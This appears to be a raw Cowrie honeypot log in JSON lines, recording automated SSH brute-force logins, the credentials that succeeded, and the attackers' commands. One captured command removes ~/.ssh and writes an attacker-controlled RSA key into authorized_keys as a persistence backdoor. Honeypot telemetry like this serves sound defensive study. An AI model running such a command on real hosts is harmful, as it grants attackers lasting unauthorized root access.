{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:42.104234Z","src_ip":"186.235.184.214","session":"b8906ac0b0c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:42.107986Z","src_ip":"186.235.184.214","session":"b8906ac0b0c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.235.184.214","src_port":51902,"dst_ip":"159.203.135.109","dst_port":22,"session":"d53f17caddf3","protocol":"ssh","message":"New connection: 186.235.184.214:51902 (159.203.135.109:22) [session: d53f17caddf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:42.202346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:42.207219Z","src_ip":"186.235.184.214","session":"d53f17caddf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:42.303237Z","src_ip":"186.235.184.214","session":"d53f17caddf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:42.725971Z","src_ip":"186.235.184.214","session":"d53f17caddf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:43.826499Z","src_ip":"186.235.184.214","session":"d53f17caddf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.235.184.214","src_port":52346,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ae02307461c","protocol":"ssh","message":"New connection: 186.235.184.214:52346 (159.203.135.109:22) [session: 4ae02307461c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:43.920234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:43.924652Z","src_ip":"186.235.184.214","session":"4ae02307461c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:44.022854Z","src_ip":"186.235.184.214","session":"4ae02307461c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:44.441397Z","src_ip":"186.235.184.214","session":"4ae02307461c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:44.541323Z","src_ip":"186.235.184.214","session":"b8906ac0b0c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:44.545456Z","src_ip":"186.235.184.214","session":"4ae02307461c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":43740,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d430fbdadf","protocol":"ssh","message":"New connection: 92.118.39.92:43740 (10.17.0.5:22) [session: b2d430fbdadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:55.799444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:55.805001Z","src_ip":"92.118.39.92","session":"b2d430fbdadf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:55.905879Z","src_ip":"92.118.39.92","session":"b2d430fbdadf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e","message":"login attempt [root/1q2w3e] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:56.333077Z","src_ip":"92.118.39.92","session":"b2d430fbdadf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:56.579418Z","src_ip":"92.118.39.92","session":"b2d430fbdadf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:56.582852Z","src_ip":"92.118.39.92","session":"b2d430fbdadf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:56.689472Z","src_ip":"92.118.39.92","session":"b2d430fbdadf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:56.694185Z","src_ip":"92.118.39.92","session":"b2d430fbdadf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.90.163","src_port":36888,"dst_ip":"159.203.135.109","dst_port":23,"session":"4252b5a6e909","protocol":"telnet","message":"New connection: 167.172.90.163:36888 (159.203.135.109:23) [session: 4252b5a6e909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:09.351865Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.153.30.107","src_port":60060,"dst_ip":"10.17.0.5","dst_port":22,"session":"89aabccfd4a9","protocol":"ssh","message":"New connection: 41.153.30.107:60060 (10.17.0.5:22) [session: 89aabccfd4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:28.396836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:28.406821Z","src_ip":"41.153.30.107","session":"89aabccfd4a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:28.569104Z","src_ip":"41.153.30.107","session":"89aabccfd4a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":56308,"dst_ip":"159.203.135.109","dst_port":22,"session":"86f59311b595","protocol":"ssh","message":"New connection: 92.118.39.76:56308 (159.203.135.109:22) [session: 86f59311b595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:28.926418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:28.930874Z","src_ip":"92.118.39.76","session":"86f59311b595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:29.037242Z","src_ip":"92.118.39.76","session":"86f59311b595","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"cruise","message":"login attempt [root/cruise] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:29.193086Z","src_ip":"41.153.30.107","session":"89aabccfd4a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:29.373764Z","src_ip":"92.118.39.76","session":"86f59311b595","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:29.547708Z","src_ip":"41.153.30.107","session":"89aabccfd4a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:29.550987Z","src_ip":"41.153.30.107","session":"89aabccfd4a9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:29.554741Z","src_ip":"41.153.30.107","session":"89aabccfd4a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:29.722502Z","src_ip":"41.153.30.107","session":"89aabccfd4a9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:30.121227Z","src_ip":"41.153.30.107","session":"89aabccfd4a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:30.125051Z","src_ip":"41.153.30.107","session":"89aabccfd4a9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:30.287464Z","src_ip":"41.153.30.107","session":"89aabccfd4a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:30.292355Z","src_ip":"41.153.30.107","session":"89aabccfd4a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:30.479772Z","src_ip":"92.118.39.76","session":"86f59311b595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.153.30.107","src_port":60865,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb097784f65a","protocol":"ssh","message":"New connection: 41.153.30.107:60865 (10.17.0.5:22) [session: cb097784f65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:38.441818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:38.455006Z","src_ip":"41.153.30.107","session":"cb097784f65a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:38.681457Z","src_ip":"41.153.30.107","session":"cb097784f65a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:39.422418Z","src_ip":"41.153.30.107","session":"cb097784f65a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:39.592900Z","src_ip":"41.153.30.107","session":"89aabccfd4a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:48:39.596691Z","src_ip":"41.153.30.107","session":"cb097784f65a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.82.66.2","src_port":60116,"dst_ip":"10.17.0.5","dst_port":23,"session":"88aabb1e6438","protocol":"telnet","message":"New connection: 170.82.66.2:60116 (10.17.0.5:23) [session: 88aabb1e6438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:49:02.685343Z"}
